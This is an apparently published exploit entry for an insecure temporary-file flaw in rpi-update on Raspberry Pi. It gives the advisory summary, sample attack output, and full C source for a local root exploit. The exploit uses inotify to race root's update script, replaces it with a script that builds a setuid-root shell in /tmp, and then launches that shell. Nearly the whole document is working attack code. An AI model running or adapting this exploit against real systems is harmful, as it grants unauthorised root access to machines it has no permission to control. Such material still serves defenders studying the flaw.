rpi-update – Insecure Temporary File Handling / Security Bypass
// source: https://www.securityfocus.com/bid/58292/info rpi-update is prone to an insecure temporary file-handling vulnerability and a security-bypass vulnerability An attacker can exploit this issue to perform symbolic-link attacks, overwriting arbitrary files in the context of the affected application, bypass certain security restrictions, and perform unauthorized actions. This may aid in further attacks. /*Local root exploit for rpi-update on raspberry Pi. Vulnerability discovered by Technion, technion@lolware.net https://github.com/Hexxeh/rpi-update/ larry@pih0le:~$ ./rpix updateScript.sh [*] Launching attack against "updateScript.sh" [+] Creating evil script (/tmp/evil) [+] Creating target file (/usr/bin/touch /tmp/updateScript.sh) [+] Initialize inotify on /tmp/updateScript.sh [+] Waiting for root to change perms on "updateScript.sh" [+] Opening root shell (/tmp/sh) # <-- Yay! Larry W. Cashdollar http://vapid.dhs.org @_larry0 Greets to Vladz. */ #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <sys/inotify.h> #include <fcntl.h> #include <sys/syscall.h> /*Create a small c program to pop us a root shell*/ int create_nasty_shell(char *file) { char *s = "#!/bin/bash\n" "echo 'main(){setuid(0);execve(\"/bin/sh\",0,0);}'>/tmp/sh.c\n" "cc /tmp/sh.c -o /tmp/sh; chown root:root /tmp/sh\n" "chmod 4755 /tmp/sh;\n"; int fd = open(file, O_CREAT|O_RDWR, S_IRWXU|S_IRWXG|S_IRWXO); write(fd, s, strlen(s)); close(fd); return 0; } int main(int argc, char **argv) { int fd, wd; char buf[1], *targetpath, *cmd, *evilsh = "/tmp/evil", *trash = "/tmp/trash"; if (argc < 2) { printf("Usage: %s <target file> \n", argv[0]); return 1; } printf("[*] Launching attack against \"%s\"\n", argv[1]); printf("[+] Creating evil script (/tmp/evil)\n"); create_nasty_shell(evilsh); targetpath = malloc(sizeof(argv[1]) + 32); cmd = malloc(sizeof(char) * 32); sprintf(targetpath, "/tmp/%s", argv[1]); sprintf(cmd,"/usr/bin/touch %s",targetpath); printf("[+] Creating target file (%s)\n",cmd); system(cmd); printf("[+] Initialize inotify on %s\n",targetpath); fd = inotify_init(); wd = inotify_add_watch(fd, targetpath, IN_MODIFY); printf("[+] Waiting for root to modify :\"%s\"\n", argv[1]); syscall(SYS_read, fd, buf, 1); syscall(SYS_rename, targetpath, trash); syscall(SYS_rename, evilsh, targetpath); inotify_rm_watch(fd, wd); printf("[+] Opening root shell (/tmp/sh)\n"); sleep(2); system("rm -fr /tmp/trash;/tmp/sh || echo \"[-] Failed.\""); return 0; } |